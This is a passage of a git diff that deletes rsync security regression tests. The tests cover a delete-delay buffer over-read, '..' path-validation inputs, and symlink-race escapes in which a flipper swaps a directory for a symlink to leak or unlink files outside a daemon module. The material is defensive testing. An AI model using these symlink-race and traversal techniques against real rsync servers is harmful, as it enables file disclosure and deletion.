a/testsuite/scanner-delete-delay-overread_test.py\n+++ /dev/null\n@@ -1,34 +0,0 @@\n-#!/usr/bin/python3\n-# Regression test for run5 0017: read_delay_line() mis-sized a '!'-prefixed\n-# (DEL_NO_UID_WRITE) delete-delay entry by one byte, over-reading deldelay_buf\n-# when a buffer-filling entry was the last one.  Drive --delete-delay over many\n-# non-writable (0444), long-named dest files so the '!' path and a full buffer\n-# are both exercised; must complete cleanly (RED under ASAN before the fix).\n-import os\n-import subprocess\n-from rsyncfns import FROMDIR, TODIR, makepath, rmtree, rsync_argv, test_fail\n-\n-src = FROMDIR\n-dest = TODIR\n-rmtree(src)\n-rmtree(dest)\n-makepath(src)\n-makepath(dest)\n-\n-(src / 'keep').write_text('k\\n')\n-# ~80 dest-only files, 0444, ~250-char names -> --delete removes them; the\n-# read-only files take the DEL_NO_UID_WRITE ('!') prefix under --no-super.\n-for i in range(80):\n-    name = f'del{i:02d}-' + 'n' * 240\n-    p = dest / name\n-    p.write_text('old\\n')\n-    os.chmod(p, 0o444)\n-\n-r = subprocess.run(rsync_argv('-a', '--no-super', '--delete-delay', f'{src}/', f'{dest}/'),\n-                   capture_output=True, text=True)\n-if r.returncode < 0 or r.returncode >= 128:\n-    test_fail(f'--delete-delay crashed (rc={r.returncode}): {r.stderr.strip()[:200]}')\n-left = [q.name for q in dest.iterdir() if q.name.startswith('del')]\n-if left:\n-    test_fail(f'--delete-delay did not delete the read-only files: {left[:2]}')\n-print(\"scanner-delete-delay-overread: ~80 0444 long-named --delete-delay entries clean\")\ndiff --git a/testsuite/search-only-destination_test.py b/testsuite/search-only-destination_test.py\ndeleted file mode 100644\nindex 46108e2..0000000\n--- a/testsuite/search-only-destination_test.py\n+++ /dev/null\n@@ -1,77 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"The receiver must traverse a searchable but unreadable destination parent.\n-\n-Android exposes /sdcard through such a path, so the race-safe destination walk\n-must use directory descriptors that require search permission only.\n-\"\"\"\n-\n-import os\n-import shutil\n-import subprocess\n-import sys\n-import tempfile\n-from pathlib import Path\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-if not sys.platform.startswith('linux'):\n-    test_skipped('search-only-destination is Linux-specific')\n-\n-launcher = []\n-if os.geteuid() == 0:\n-    setpriv = shutil.which('setpriv')\n-    if setpriv is None:\n-        test_skipped('setpriv is unavailable for the root-run testsuite')\n-    launcher = [setpriv, '--reuid=65534', '--regid=65534', '--clear-groups']\n-\n-external_base = os.geteuid() == 0\n-if external_base:\n-    base = Path(tempfile.mkdtemp(prefix='rsync-search-only-'))\n-    base.chmod(0o755)\n-else:\n-    base = SCRATCHDIR / 'search-only-destination'\n-src = base / 'src'\n-parent = base / 'search-only'\n-dest = parent / 'dest'\n-rmtree(base)\n-src.mkdir(parents=True)\n-dest.mkdir(parents=True)\n-(src / 'probe').write_text('search-only destination\\n')\n-\n-if os.geteuid() == 0:\n-    for path in (src, src / 'probe', dest):\n-        os.chown(path, 65534, 65534)\n-\n-try:\n-    parent.chmod(0o111)\n-    try:\n-        probe = subprocess.run(\n-            launcher + ['test', '-r', str(parent)],\n-            stdout=subprocess.DEVNULL,\n-            stderr=subprocess.DEVNULL,\n-        )\n-        if probe.returncode == 0:\n-            test_skipped('filesystem does not enforce the search-only test mode')\n-        if probe.returncode != 1:\n-            test_fail(f'search-only permission probe failed with exit {probe.returncode}')\n-\n-        proc = subprocess.run(\n-            launcher + rsync_argv('-a', f'{src}/', f'{dest}/'),\n-            stdout=subprocess.PIPE,\n-            stderr=subprocess.PIPE,\n-            text=True,\n-        )\n-    finally:\n-        parent.chmod(0o755)\n-    copied = (dest / 'probe').read_text() if (dest / 'probe').is_file() else None\n-finally:\n-    if external_base:\n-        rmtree(base)\n-\n-if proc.returncode != 0:\n-    test_fail(\n-        'receiver could not enter a destination below a searchable, unreadable '\n-        f'parent (exit {proc.returncode}): {proc.stderr.strip()}'\n-    )\n-if copied != 'search-only destination\\n':\n-    test_fail('receiver did not copy into the search-only destination')\ndiff --git a/testsuite/search-only-held-dirfd_test.py b/testsuite/search-only-held-dirfd_test.py\ndeleted file mode 100644\nindex e4da46f..0000000\n--- a/testsuite/search-only-held-dirfd_test.py\n+++ /dev/null\n@@ -1,215 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Known-name operations must not require permission to list parent dirs.\n-\n-The confined resolver holds directory descriptors to prevent symlink races.\n-On Linux, those traversal and *at() anchor descriptors can use O_PATH: opening\n-a known file beneath a searchable directory, or creating one beneath a\n-writable/searchable directory, does not require directory read permission.\n-\"\"\"\n-\n-import os\n-import shutil\n-import subprocess\n-import sys\n-import tempfile\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    SCRATCHDIR, forced_protocol, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-if not sys.platform.startswith('linux'):\n-    test_skipped('search-only held-dirfd coverage is Linux-specific')\n-\n-launcher = []\n-if os.geteuid() == 0:\n-    setpriv = shutil.which('setpriv')\n-    if setpriv is None:\n-        test_skipped('setpriv is unavailable for the root-run testsuite')\n-    launcher = [setpriv, '--reuid=65534', '--regid=65534', '--clear-groups']\n-\n-external_base = os.geteuid() == 0\n-base = (\n-    Path(tempfile.mkdtemp(prefix='rsync-search-only-held-dirfd-'))\n-    if external_base\n-    else SCRATCHDIR / 'search-only-held-dirfd'\n-)\n-rmtree(base)\n-\n-src = base / 'src'\n-xonly = src / 'xonly'\n-readable = xonly / 'readable'\n-nested_src = src / 'nested'\n-exact_dest = base / 'exact-dest'\n-tree_dest = base / 'tree-dest'\n-unreadable_dest = base / 'unreadable-dest'\n-write_only_dest = base / 'write-only-dest'\n-nested_dest = base / 'nested-dest'\n-nested_parent = nested_dest / 'nested'\n-for path in (\n-    readable,\n-    nested_src,\n-    exact_dest,\n-    tree_dest,\n-    unreadable_dest,\n-    write_only_dest,\n-    nested_parent,\n-):\n-    path.mkdir(parents=True, exist_ok=True)\n-\n-(xonly / 'exact').write_text('known file beneath search-only parent\\n')\n-(readable / 'nested').write_text('enumerated below search-only ancestor\\n')\n-incoming = src / 'incoming'\n-incoming.write_text('created beneath write-search-only destination\\n')\n-(nested_src / 'known').write_text(\n-    'created beneath nested write-search-only parent\\n'\n-)\n-\n-if os.geteuid() == 0:\n-    for root, dirs, files in os.walk(base):\n-        os.chown(root, 65534, 65534)\n-        for name in dirs + files:\n-            os.chown(Path(root) / name, 65534, 65534)\n-\n-\n-def permission_probe(path, flag, expected, label):\n-    proc = subprocess.run(\n-        launcher + ['test', flag, str(path)],\n-        stdout=subprocess.DEVNULL,\n-        stderr=subprocess.DEVNULL,\n-    )\n-    if proc.returncode != expected:\n-        test_skipped(\n-            f'filesystem does not enforce {label}: test {flag} returned '\n-            f'{proc.returncode}, expected {expected}'\n-        )\n-\n-\n-failures = []\n-try:\n-    xonly.chmod(0o111)\n-    write_only_dest.chmod(0o333)\n-    nested_parent.chmod(0o333)\n-\n-    permission_probe(xonly, '-r', 1, 'search-only mode')\n-    permission_probe(xonly, '-x', 0, 'search-only mode')\n-    permission_probe(write_only_dest, '-r', 1, 'write-search-only mode')\n-    permission_probe(write_only_dest, '-w', 0, 'write-search-only mode')\n-    permission_probe(write_only_dest, '-x', 0, 'write-search-only mode')\n-    permission_probe(nested_parent, '-r', 1, 'nested write-search-only mode')\n-    permission_probe(nested_parent, '-w', 0, 'nested write-search-only mode')\n-    permission_probe(nested_parent, '-x', 0, 'nested write-search-only mode')\n-\n-    # Keep received implied dirs usable on systems without a safe fchmodat2.\n-    # The source remains mode 0111, so sender traversal coverage is unchanged.\n-    exact = subprocess.run(\n-        launcher + rsync_argv(\n-            '-aR', '--chmod=Du+rw', 'xonly/exact', f'{exact_dest}/',\n-        ),\n-        cwd=src,\n-        stdout=subprocess.PIPE,\n-        stderr=subprocess.PIPE,\n-        text=True,\n-    )\n-    exact_path = exact_dest / 'xonly' / 'exact'\n-    exact_content = exact_path.read_text() if exact_path.is_file() else None\n-    if exact.returncode != 0 or exact_content != (\n-        'known file beneath search-only parent\\n'\n-    ):\n-        failures.append(\n-            'exact -R source beneath mode 0111 failed: '\n-            f'rc={exact.returncode}, stderr={exact.stderr.strip()!r}, '\n-            f'content={exact_content!r}'\n-        )\n-\n-    tree = subprocess.run(\n-        launcher + rsync_argv(\n-            '-aR', '--chmod=Du+rw', 'xonly/readable/', f'{tree_dest}/',\n-        ),\n-        cwd=src,\n-        stdout=subprocess.PIPE,\n-        stderr=subprocess.PIPE,\n-        text=True,\n-    )\n-    tree_path = tree_dest / 'xonly' / 'readable' / 'nested'\n-    tree_content = tree_path.read_text() if tree_path.is_file() else None\n-    if tree.returncode != 0 or tree_content != (\n-        'enumerated below search-only ancestor\\n'\n-    ):\n-        failures.append(\n-            'readable directory beneath mode 0111 ancestor failed: '\n-            f'rc={tree.returncode}, stderr={tree.stderr.strip()!r}, '\n-            f'content={tree_content!r}'\n-        )\n-\n-    unreadable = subprocess.run(\n-        launcher + rsync_argv(\n-            '-a', 'xonly/', f'{unreadable_dest}/',\n-        ),\n-        cwd=src,\n-        stdout=subprocess.PIPE,\n-        stderr=subprocess.PIPE,\n-        text=True,\n-    )\n-    if unreadable.returncode == 0:\n-        failures.append(\n-            'mode 0111 source directory was enumerable without read permission'\n-        )\n-\n-    receiver = subprocess.run(\n-        launcher + rsync_argv(\n-            '-t', str(incoming), f'{write_only_dest}/',\n-        ),\n-        stdout=subprocess.PIPE,\n-        stderr=subprocess.PIPE,\n-        text=True,\n-    )\n-    received = write_only_dest / 'incoming'\n-    received_content = received.read_text() if received.is_file() else None\n-    if receiver.returncode != 0 or received_content != (\n-        'created beneath write-search-only destination\\n'\n-    ):\n-        failures.append(\n-            'known-file creation beneath mode 0333 destination failed: '\n-            f'rc={receiver.returncode}, stderr={receiver.stderr.strip()!r}, '\n-            f'content={received_content!r}'\n-        )\n-\n-    # Protocol 29 rejects this nested -R shape before the resolver is reached.\n-    proto = forced_protocol()\n-    if proto is None or proto >= 30:\n-        nested_receiver = subprocess.run(\n-            launcher + rsync_argv(\n-                '-tR', '--no-implied-dirs', 'nested/known', f'{nested_dest}/',\n-            ),\n-            cwd=src,\n-            stdout=subprocess.PIPE,\n-            stderr=subprocess.PIPE,\n-            text=True,\n-        )\n-        nested_received = nested_parent / 'known'\n-        nested_content = (\n-            nested_received.read_text() if nested_received.is_file() else None\n-        )\n-        if nested_receiver.returncode != 0 or nested_content != (\n-            'created beneath nested write-search-only parent\\n'\n-        ):\n-            failures.append(\n-                'known-file creation beneath nested mode 0333 destination '\n-                f'failed: rc={nested_receiver.returncode}, '\n-                f'stderr={nested_receiver.stderr.strip()!r}, '\n-                f'content={nested_content!r}'\n-            )\n-finally:\n-    xonly.chmod(0o755)\n-    write_only_dest.chmod(0o755)\n-    nested_parent.chmod(0o755)\n-    for dest in (exact_dest, tree_dest):\n-        copied_xonly = dest / 'xonly'\n-        if copied_xonly.is_dir():\n-            copied_xonly.chmod(0o755)\n-    if external_base:\n-        rmtree(base)\n-\n-if failures:\n-    test_fail('\\n'.join(failures))\ndiff --git a/testsuite/secure-relpath-validation_test.py b/testsuite/secure-relpath-validation_test.py\ndeleted file mode 100644\nindex c71294f..0000000\n--- a/testsuite/secure-relpath-validation_test.py\n+++ /dev/null\n@@ -1,30 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/secure-relpath-validation.test.\n-#\n-# Regression test for codex audit Finding 5: secure_relative_open()'s\n-# front-door input check rejects \"../foo\" and \"foo/../bar\" but missed\n-# bare \"..\", \"subdir/..\", and other variants whose \"/\"-split components\n-# contain a literal \"..\". RESOLVE_BENEATH equivalents catch these in\n-# the kernel, but the per-component O_NOFOLLOW fallback (on NetBSD,\n-# OpenBSD, Solaris, Cygwin, pre-5.6 Linux) does not -- so the\n-# validation must happen at the front door.\n-#\n-# The t_secure_relpath helper runs each suspect input through\n-# secure_relative_open() and confirms it gets back -1/EINVAL (the\n-# marker that the front-door check kicked in, not the kernel).\n-\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, TOOLDIR, rmtree, test_fail\n-\n-\n-testdir = SCRATCHDIR / 'relpath-test'\n-rmtree(testdir)\n-testdir.mkdir(parents=True)\n-\n-proc = subprocess.run([str(TOOLDIR / 't_secure_relpath'), str(testdir)])\n-if proc.returncode != 0:\n-    test_fail(\n-        \"t_secure_relpath rejected one or more inputs incorrectly \"\n-        \"(see stderr above for the specific case)\"\n-    )\ndiff --git a/testsuite/sender-flist-symlink-leak_test.py b/testsuite/sender-flist-symlink-leak_test.py\ndeleted file mode 100644\nindex 7b85395..0000000\n--- a/testsuite/sender-flist-symlink-leak_test.py\n+++ /dev/null\n@@ -1,100 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/sender-flist-symlink-leak.test.\n-#\n-# Regression test for codex re-check finding: the sender-side file-list\n-# generator could still follow an attacker-planted symlink out of the\n-# module via change_pathname() -> change_dir(...,CD_SKIP_CHDIR) ->\n-# change_dir(...,CD_NORMAL).  Reach: a daemon module with use chroot =\n-# no, attacker plants module/cd -> /outside, client pulls\n-# rsync://daemon/module/cd/; the daemon would enumerate /outside in\n-# the file list (metadata leak) before the actual content transfer\n-# failed at secure_relative_open.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    rsync_argv, get_testuid, get_rootuid, get_rootgid,\n-    rmtree, start_test_daemon, test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12881\n-\n-\n-mod = SCRATCHDIR / 'module'\n-outside = SCRATCHDIR / 'outside'\n-listfile = SCRATCHDIR / 'listed.txt'\n-conf = SCRATCHDIR / 'test-rsyncd.conf'\n-\n-rmtree(mod)\n-rmtree(outside)\n-mod.mkdir(parents=True)\n-outside.mkdir(parents=True)\n-\n-(outside / 'leak_marker.txt').write_text(\n-    \"OUTSIDE_PROTECTED_FILE_USED_AS_LEAK_DETECTOR\\n\"\n-)\n-os.chmod(outside / 'leak_marker.txt', 0o644)\n-\n-os.symlink(str(outside), mod / 'cd')\n-\n-# A legitimate in-module file, used as a positive control so the leak check\n-# below can't pass simply because the daemon's listing machinery is broken.\n-(mod / 'realdir').mkdir()\n-(mod / 'realdir' / 'in_module.txt').write_text(\"INSIDE_THE_MODULE\\n\")\n-\n-my_uid = get_testuid()\n-root_uid = get_rootuid()\n-root_gid = get_rootgid()\n-uid_line = f\"uid = {root_uid}\"\n-gid_line = f\"gid = {root_gid}\"\n-if my_uid != root_uid:\n-    uid_line = '#' + uid_line\n-    gid_line = '#' + gid_line\n-\n-conf.write_text(f\"\"\"\\\n-use chroot = no\n-{uid_line}\n-{gid_line}\n-log file = {SCRATCHDIR}/rsyncd.log\n-[upload]\n-    path = {mod}\n-    use chroot = no\n-    read only = no\n-\"\"\")\n-\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Positive control: a normal recursive listing of an in-module path must\n-# enumerate the in-module file. If this fails, the daemon's flist generation is\n-# broken and the leak check below would be vacuously satisfied.\n-ctl = subprocess.run(\n-    rsync_argv('-nrv', f'{url}upload/realdir/', f'{SCRATCHDIR}/dst/'),\n-    capture_output=True, text=True,\n-)\n-if ctl.returncode != 0 or 'in_module.txt' not in ctl.stdout:\n-    test_fail(\"positive control: listing an in-module path did not enumerate \"\n-              f\"in_module.txt (rc={ctl.returncode}); leak check would be vacuous\"\n-              f\"\\n{ctl.stdout}{ctl.stderr}\")\n-\n-proc = subprocess.run(\n-    rsync_argv('-nrv', f'{url}upload/cd/', f'{SCRATCHDIR}/dst/'),\n-    capture_output=True, text=True,\n-)\n-if proc.returncode >= 128:\n-    test_fail(f\"leak pull: rsync died from a signal (rc={proc.returncode})\")\n-listfile.write_text(proc.stdout + proc.stderr)\n-\n-if 'leak_marker.txt' in listfile.read_text():\n-    import sys\n-    sys.stderr.write(\"----- leaked listing follows\\n\")\n-    for line in listfile.read_text().splitlines():\n-        sys.stderr.write(f\"    {line}\\n\")\n-    sys.stderr.write(\"----- leaked listing ends\\n\")\n-    test_fail(\n-        \"sender flist leak: outside/leak_marker.txt was enumerated to \"\n-        \"the client (daemon's chdir followed the cd symlink during flist \"\n-        \"generation)\"\n-    )\ndiff --git a/testsuite/sender-readlink-atfd_test.py b/testsuite/sender-readlink-atfd_test.py\ndeleted file mode 100644\nindex 71e1bd6..0000000\n--- a/testsuite/sender-readlink-atfd_test.py\n+++ /dev/null\n@@ -1,54 +0,0 @@\n-#!/usr/bin/env python3\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    race_budget, SCRATCHDIR, rmtree, rsync_argv,\n-    start_path_flipper, start_test_daemon, stop_flipper, test_fail,\n-    write_daemon_conf,\n-)\n-\n-# The sender's secure scan-dir open resolves on held dirfds with O_NOFOLLOW\n-# (race-free by construction on every platform), so a flipped parent component\n-# cannot redirect the readlink outside the module.\n-\n-base = SCRATCHDIR / 'sender-readlink'\n-mod = base / 'module'\n-outside = base / 'outside'\n-dest = base / 'dest'\n-rmtree(base)\n-(mod / 'real').mkdir(parents=True)\n-outside.mkdir(parents=True)\n-dest.mkdir(parents=True)\n-\n-os.symlink('inside-target', mod / 'real' / 'link')\n-os.symlink('OUTSIDE-LINK-TARGET', outside / 'link')\n-os.symlink(outside, mod / 'evil')\n-\n-conf = write_daemon_conf([\n-    ('src', {'path': str(mod), 'read only': 'yes', 'use chroot': 'no'}),\n-])\n-url = start_test_daemon(conf, 12938)\n-\n-flip = start_path_flipper(mod / 'real', mod / 'evil')\n-leaked = False\n-deadline = time.monotonic() + race_budget()\n-try:\n-    while time.monotonic() < deadline:\n-        rmtree(dest)\n-        dest.mkdir(parents=True)\n-        subprocess.run(\n-            rsync_argv('-a', f'{url}src/real/link', str(dest) + '/'),\n-            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True)\n-        link = dest / 'link'\n-        if os.path.islink(link) and os.readlink(link) == 'OUTSIDE-LINK-TARGET':\n-            leaked = True\n-            break\n-finally:\n-    stop_flipper(flip)\n-\n-if leaked:\n-    test_fail(\"daemon sender readlink followed a raced parent symlink and sent the outside symlink target\")\n-\n-print(\"sender-readlink-atfd: symlink target reads did not leak through a raced parent\")\ndiff --git a/testsuite/sender-remove-source-relative-anchor_test.py b/testsuite/sender-remove-source-relative-anchor_test.py\ndeleted file mode 100644\nindex 11937a2..0000000\n--- a/testsuite/sender-remove-source-relative-anchor_test.py\n+++ /dev/null\n@@ -1,39 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Absolute --relative source cleanup must use the source's absolute parent.\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-\n-base = SCRATCHDIR.resolve() / \"sender-remove-source-relative-anchor\"\n-source = base / \"source/sub/file\"\n-dest = base / \"dest\"\n-rmtree(base)\n-source.parent.mkdir(parents=True)\n-dest.mkdir()\n-source.write_text(\"absolute-relative-source\\n\", encoding=\"utf-8\")\n-\n-proc = subprocess.run(\n-    rsync_argv(\"-aR\", \"--remove-source-files\", str(source), str(dest) + \"/\"),\n-    stdout=subprocess.PIPE,\n-    stderr=subprocess.STDOUT,\n-    text=True,\n-)\n-if proc.returncode != 0:\n-    test_fail(\n-        \"absolute -R --remove-source-files copied the file but failed cleanup \"\n-        f\"(rc={proc.returncode}):\\n{proc.stdout}\"\n-    )\n-if source.exists():\n-    test_fail(\"absolute -R --remove-source-files left its source behind\")\n-\n-copies = [\n-    path for path in dest.rglob(\"file\")\n-    if path.is_file() and path.read_text(encoding=\"utf-8\")\n-        == \"absolute-relative-source\\n\"\n-]\n-if len(copies) != 1:\n-    test_fail(f\"destination did not contain exactly one transferred file: {copies}\")\n-\n-print(\"absolute --relative source was copied and removed through its real parent\")\ndiff --git a/testsuite/sender-remove-source-root-anchor_test.py b/testsuite/sender-remove-source-root-anchor_test.py\ndeleted file mode 100644\nindex 61bfae6..0000000\n--- a/testsuite/sender-remove-source-root-anchor_test.py\n+++ /dev/null\n@@ -1,80 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"An absolute --relative cleanup must not be re-anchored at the sender's CWD.\n-\n-secure_sender_parent_fd() resolved the parent of an absolute --relative name\n-through the cwd-backed dirfd cache.  A source that is a direct child of / has\n-an *empty* parent component, so the cache handed back the sender's own working\n-directory and --remove-source-files unlinked a same-named entry there instead\n-of the file that was really transferred -- silently, with exit status 0.\n-\n-The sibling test sender-remove-source-relative-anchor covers the nested case,\n-where the same defect merely fails the cleanup.  This one covers the case where\n-it destroys an unrelated file.\n-\n-Requires root: reaching the empty-parent case needs a source directly under /.\n-\"\"\"\n-\n-import os\n-import subprocess\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-if os.geteuid() != 0:\n-    test_skipped('needs root to place a transfer source directly under /')\n-\n-SOURCE_DATA = b'REAL-SOURCE-CONTENT'\n-DECOY_DATA = b'CWD-DECOY-CONTENT!!'\n-assert len(SOURCE_DATA) == len(DECOY_DATA)   # same size: only the name matches\n-\n-base = SCRATCHDIR / 'sender-remove-root-anchor'\n-rmtree(base)\n-dest = base / 'dst'\n-makepath(dest)\n-\n-# Unique so a stray file in / can never be mistaken for ours.\n-root_src = Path('/') / f'rsync-root-anchor-probe-{os.getpid()}'\n-decoy = base / root_src.name\n-\n-try:\n-    try:\n-        root_src.write_bytes(SOURCE_DATA)\n-    except OSError as e:\n-        # e.g. macOS's sealed system volume: / is read-only even for root.\n-        test_skipped(f'cannot create a transfer source under /: {e}')\n-    decoy.write_bytes(DECOY_DATA)\n-    # Same size and mtime, so the sender's \"has it changed?\" guard passes and\n-    # the decoy is a credible removal target.  Nanosecond precision matters:\n-    # the guard also compares sub-second mtime, so a whole-second copy would\n-    # make the sender skip the removal for an unrelated reason.\n-    st = root_src.stat()\n-    os.utime(decoy, ns=(st.st_atime_ns, st.st_mtime_ns))\n-\n-    proc = subprocess.run(\n-        rsync_argv('-aR', '--remove-source-files', str(root_src), f'{dest}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, cwd=base)\n-    ctx = f'rc={proc.returncode}, output={proc.stdout!r}'\n-\n-    # The security assertion first: whatever else happened, the unrelated\n-    # same-named file in the sender's CWD must be untouched.\n-    if not decoy.exists():\n-        test_fail(f'--remove-source-files deleted a same-named file in the '\n-                  f'sender CWD instead of the transferred source ({ctx})')\n-    if decoy.read_bytes() != DECOY_DATA:\n-        test_fail(f'the sender CWD file was modified ({ctx})')\n-\n-    if proc.returncode != 0:\n-        test_fail(f'absolute -R --remove-source-files failed ({ctx})')\n-    if root_src.exists():\n-        test_fail(f'the requested source under / was not removed ({ctx})')\n-\n-    copies = sorted(p for p in dest.rglob('*') if p.is_file())\n-    if len(copies) != 1 or copies[0].read_bytes() != SOURCE_DATA:\n-        test_fail(f'destination did not receive the real source: {copies} ({ctx})')\n-finally:\n-    if root_src.exists():\n-        root_src.unlink()\n-\n-print('absolute --relative cleanup stayed anchored at / and spared the CWD')\ndiff --git a/testsuite/sender-remove-source-secure_test.py b/testsuite/sender-remove-source-secure_test.py\ndeleted file mode 100644\nindex 47a0a6d..0000000\n--- a/testsuite/sender-remove-source-secure_test.py\n+++ /dev/null\n@@ -1,74 +0,0 @@\n-#!/usr/bin/env python3\n-import os\n-import platform\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    race_budget, SCRATCHDIR, rmtree, rsync_argv,\n-    start_path_flipper, start_test_daemon, stop_flipper, test_fail, test_xfail,\n-    write_daemon_conf,\n-)\n-\n-_CYGWIN = platform.system().startswith('CYGWIN')\n-\n-# The sender's secure parent-dir open resolves on held dirfds with O_NOFOLLOW\n-# (race-free by construction on every platform), so a flipped parent component\n-# cannot redirect the --remove-source-files unlink outside the module.\n-\n-base = SCRATCHDIR / 'sender-remove-source'\n-mod = base / 'module'\n-outside = base / 'outside'\n-dest = base / 'dest'\n-rmtree(base)\n-(mod / 'real').mkdir(parents=True)\n-outside.mkdir(parents=True)\n-dest.mkdir(parents=True)\n-\n-inside_file = mod / 'real' / 'file'\n-outside_file = outside / 'file'\n-inside_file.write_text('payload\\n')\n-outside_file.write_text('payload\\n')\n-st = inside_file.stat()\n-os.utime(outside_file, (st.st_atime, st.st_mtime))\n-os.symlink(outside, mod / 'evil')\n-\n-conf = write_daemon_conf([\n-    ('src', {'path': str(mod), 'read only': 'no', 'use chroot': 'no'}),\n-])\n-url = start_test_daemon(conf, 12937)\n-\n-flip = start_path_flipper(mod / 'real', mod / 'evil')\n-deadline = time.monotonic() + race_budget()\n-try:\n-    while time.monotonic() < deadline and outside_file.exists():\n-        if not inside_file.exists() and (mod / 'real').is_dir() and not os.path.islink(mod / 'real'):\n-            try:\n-                inside_file.write_text('payload\\n')\n-                os.utime(inside_file, (st.st_atime, st.st_mtime))\n-            except FileNotFoundError:\n-                pass\n-            except PermissionError:\n-                # Cygwin can report EACCES while the flipper swaps this path.\n-                if not _CYGWIN:\n-                    raise\n-        subprocess.run(\n-            rsync_argv('-a', '--remove-source-files', f'{url}src/real/file', str(dest) + '/'),\n-            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True)\n-finally:\n-    stop_flipper(flip)\n-\n-if not outside_file.exists():\n-    if _CYGWIN:\n-        # Cygwin resolves directory descriptors by path name rather than a pinned\n-        # inode and emulates symlinks as special files, so the confined sender's\n-        # held-fd O_NOFOLLOW walk -- though compiled in -- does not enforce the\n-        # parent-component pin here, and a raced parent flip can still redirect\n-        # the --remove-source-files unlink. Documented Cygwin platform residual\n-        # (see SECURITY.md and the matching xfail in symlink-race-source_test.py);\n-        # Cygwin is a dev/interop target, not a privilege boundary host.\n-        test_xfail(\"cygwin: --remove-source-files parent-flip race still unlinks \"\n-                   \"the outside victim -- documented Cygwin platform residual\")\n-    test_fail(\"daemon sender --remove-source-files cleanup unlinked the outside victim through a raced parent symlink\")\n-\n-print(\"sender-remove-source-secure: remove-source cleanup did not unlink outside the module\")\ndiff --git a/testsuite/sender-scan-dir-escape_test.py b/testsuite/sender-scan-dir-escape_test.py\ndeleted file mode 100644\nindex 6546804..0000000\n--- a/testsuite/sender-scan-dir-escape_test.py\n+++ /dev/null\n@@ -1,110 +0,0 @@\n-#!/usr/bin/env python3\n-# Source-tree directory-ENUMERATION escape via a parent-component symlink race.\n-#\n-# Companion to symlink-race-source (which races the sender's file CONTENT open).\n-# The sender enumerates each source directory with a plain opendir(fbuf) on the\n-# full accumulated path (flist.c send_directory) -- no O_NOFOLLOW, not routed\n-# through the held-dirfd resolver.  scan_dirfd = dirfd(d) only makes the\n-# per-entry stats safe, not the opendir itself.  So a parent component raced from\n-# a directory to a symlink->OUTSIDE the transfer root between scan time and the\n-# recursive opendir makes the sender enumerate an out-of-tree directory and copy\n-# its entries -- names, metadata and SYMLINK TARGETS -- into the destination,\n-# escaping the root of the transfer.\n-#\n-# Regular-file content stays protected by the confined content open (the\n-# symlink-race-source fix), so the leak signal here is deliberately a SYMLINK in\n-# the outside dir whose target is a unique marker: it is transferred purely via\n-# readlinkat() during the scan (no content open), so its appearance in the\n-# destination proves the enumeration -- not the content open -- escaped.  A\n-# uniquely-named out-of-tree subdir/file is also checked as a secondary signal.\n-#\n-# The escape needs a genuine TOCTOU (a STATIC symlink parent is lstat'd and\n-# recorded as a symlink, never descended), so a flipper process swaps the\n-# component directory <-> symlink while rsync runs, retried up to RACE_TIMEOUT.\n-# Any uid: the attacker owns the source subtree it races.  FAILS on the unfixed\n-# tree (the out-of-tree symlink target lands in dest); PASSES once the\n-# enumeration is confined beneath the transfer root.\n-\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, rmtree, rsync_argv, rsync_supports,\n-    start_path_flipper, stop_flipper, test_fail,\n-)\n-\n-MARKER = \"XFIL-OUTSIDE-SYMLINK-TARGET-do-not-copy\"\n-NKEEP = 64\n-\n-base = SCRATCHDIR / 'scan-dir-escape'\n-src = base / 'src'\n-outside = base / 'outside'\n-dest = base / 'dest'\n-\n-rmtree(base)\n-\n-# Real-directory state of the flipping component, with in-tree entries whose\n-# names never appear outside (so an out-of-tree name in dest is unambiguous).\n-realsub = src / '.realsub'\n-realsub.mkdir(parents=True)\n-for i in range(NKEEP):\n-    (realsub / f'keep{i}').write_text(\"in-tree\\n\")\n-\n-# The out-of-tree target the attacker points the raced component at.  Its\n-# entries have distinctive names and the symlink carries the marker target.\n-outside.mkdir(parents=True)\n-os.symlink(MARKER, outside / 'xfil_link')          # target leaks via readlinkat\n-(outside / 'xfil_dir').mkdir()                      # name leaks via getdents\n-(outside / 'xfil_dir' / 'inner').write_text(\"x\\n\")\n-(outside / 'xfil_file').write_text(\"x\\n\")           # name/metadata leaks\n-\n-# 'sub' starts as the real directory; 'evil' is the escaping symlink.  The\n-# flipper swaps them so 'sub' alternates directory <-> symlink->../outside.\n-os.rename(realsub, src / 'sub')\n-os.symlink('../outside', src / 'evil')\n-dest.mkdir(parents=True)\n-\n-\n-def escaped():\n-    \"\"\"Return a description of any out-of-tree entry that reached dest/sub.\"\"\"\n-    d = dest / 'sub'\n-    if d.is_symlink() or not d.is_dir():\n-        return None\n-    link = d / 'xfil_link'\n-    if link.is_symlink() and os.readlink(link) == MARKER:\n-        return f\"symlink target leaked: dest/sub/xfil_link -> {MARKER}\"\n-    for name in ('xfil_dir', 'xfil_file', 'xfil_link'):\n-        if (d / name).exists() or (d / name).is_symlink():\n-            return f\"out-of-tree name leaked: dest/sub/{name}\"\n-    return None\n-\n-\n-# --no-inc-recursive widens the window: the whole tree is scanned (recording\n-# sub/ 